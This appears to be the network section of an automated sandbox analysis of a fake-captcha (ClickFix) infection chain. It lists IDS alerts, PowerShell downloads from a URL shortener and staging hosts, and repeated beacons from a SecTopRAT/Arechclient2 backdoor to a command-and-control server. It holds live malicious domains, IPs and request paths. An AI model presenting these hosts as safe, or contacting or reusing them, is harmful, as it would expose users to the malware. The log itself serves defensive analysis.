Source: Network traffic	Suricata IDS: 2059942 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in TLS SNI (cta .berlmember .com) : 192.168.2.16:49705 -> 103.52.144.214:443
Source: Network traffic	Suricata IDS: 2059941 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com) : 192.168.2.16:59269 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059942 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in TLS SNI (cta .berlmember .com) : 192.168.2.16:52362 -> 103.52.144.214:443
Source: Network traffic	Suricata IDS: 2059941 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com) : 192.168.2.16:64011 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059941 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com) : 192.168.2.16:58572 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52670 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52672 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52674 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52671 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52673 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52675 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52676 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52679 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52680 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52678 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52677 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52681 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52682 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52684 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52683 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52689 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52685 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52688 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52686 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52687 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52692 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52690 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52695 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52694 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52697 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52699 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52701 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52703 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52704 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52691 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52706 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52707 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52705 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52693 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52702 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52698 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52700 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.16:52696 -> 92.255.85.36:9000

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 92.255.85.36 ports 9000,1,4,5,7,8,15847

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 52670 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52670
Source: unknown	Network traffic detected: HTTP traffic on port 52671 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52671
Source: unknown	Network traffic detected: HTTP traffic on port 52672 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52672
Source: unknown	Network traffic detected: HTTP traffic on port 52673 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52673
Source: unknown	Network traffic detected: HTTP traffic on port 52674 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52674
Source: unknown	Network traffic detected: HTTP traffic on port 52675 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52675
Source: unknown	Network traffic detected: HTTP traffic on port 52676 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52676
Source: unknown	Network traffic detected: HTTP traffic on port 52677 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52677
Source: unknown	Network traffic detected: HTTP traffic on port 52678 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52678
Source: unknown	Network traffic detected: HTTP traffic on port 52679 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52679
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52680
Source: unknown	Network traffic detected: HTTP traffic on port 52681 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52681
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52682
Source: unknown	Network traffic detected: HTTP traffic on port 52683 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52683
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52684
Source: unknown	Network traffic detected: HTTP traffic on port 52685 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52685
Source: unknown	Network traffic detected: HTTP traffic on port 52686 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52686
Source: unknown	Network traffic detected: HTTP traffic on port 52687 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52687
Source: unknown	Network traffic detected: HTTP traffic on port 52688 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52688
Source: unknown	Network traffic detected: HTTP traffic on port 52689 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52689
Source: unknown	Network traffic detected: HTTP traffic on port 52690 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52690
Source: unknown	Network traffic detected: HTTP traffic on port 52691 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52691
Source: unknown	Network traffic detected: HTTP traffic on port 52692 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52692
Source: unknown	Network traffic detected: HTTP traffic on port 52693 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52693
Source: unknown	Network traffic detected: HTTP traffic on port 52694 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52694
Source: unknown	Network traffic detected: HTTP traffic on port 52695 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52695
Source: unknown	Network traffic detected: HTTP traffic on port 52696 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52696
Source: unknown	Network traffic detected: HTTP traffic on port 52697 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52697
Source: unknown	Network traffic detected: HTTP traffic on port 52698 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52698
Source: unknown	Network traffic detected: HTTP traffic on port 52699 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52699
Source: unknown	Network traffic detected: HTTP traffic on port 52700 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52700
Source: unknown	Network traffic detected: HTTP traffic on port 52701 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52701
Source: unknown	Network traffic detected: HTTP traffic on port 52702 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52702
Source: unknown	Network traffic detected: HTTP traffic on port 52703 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52703
Source: unknown	Network traffic detected: HTTP traffic on port 52704 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52704
Source: unknown	Network traffic detected: HTTP traffic on port 52705 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52705
Source: unknown	Network traffic detected: HTTP traffic on port 52706 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52706
Source: unknown	Network traffic detected: HTTP traffic on port 52707 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52707

Source: global traffic

TCP traffic: 192.168.2.16:52359 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: GET /f1/red HTTP/1.1Host: 45.61.157.205Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.16:52672 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.16:52677 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.16:52692 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.16:52695 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.16:52699 -> 92.255.85.36:9000
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.16:52539 -> 104.26.9.129:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.16:52546 -> 104.21.68.54:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.16:52542 -> 172.67.69.88:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.157.205
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.157.205
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.157.205
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.157.205
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.157.205
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.157.205
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.157.205
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.36

Source: global traffic	HTTP traffic detected: GET /google/captcha.html HTTP/1.1Host: cta.berlmember.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cta.berlmember.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cta.berlmember.com/google/captcha.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cta.berlmember.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qTlJM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: shorturl.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qTlJM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.shorturl.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /factory/girl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: update-connection-to.helpConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /f1/red HTTP/1.1Host: 45.61.157.205Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99 HTTP/1.1Host: 92.255.85.36:9000Connection: Keep-Alive
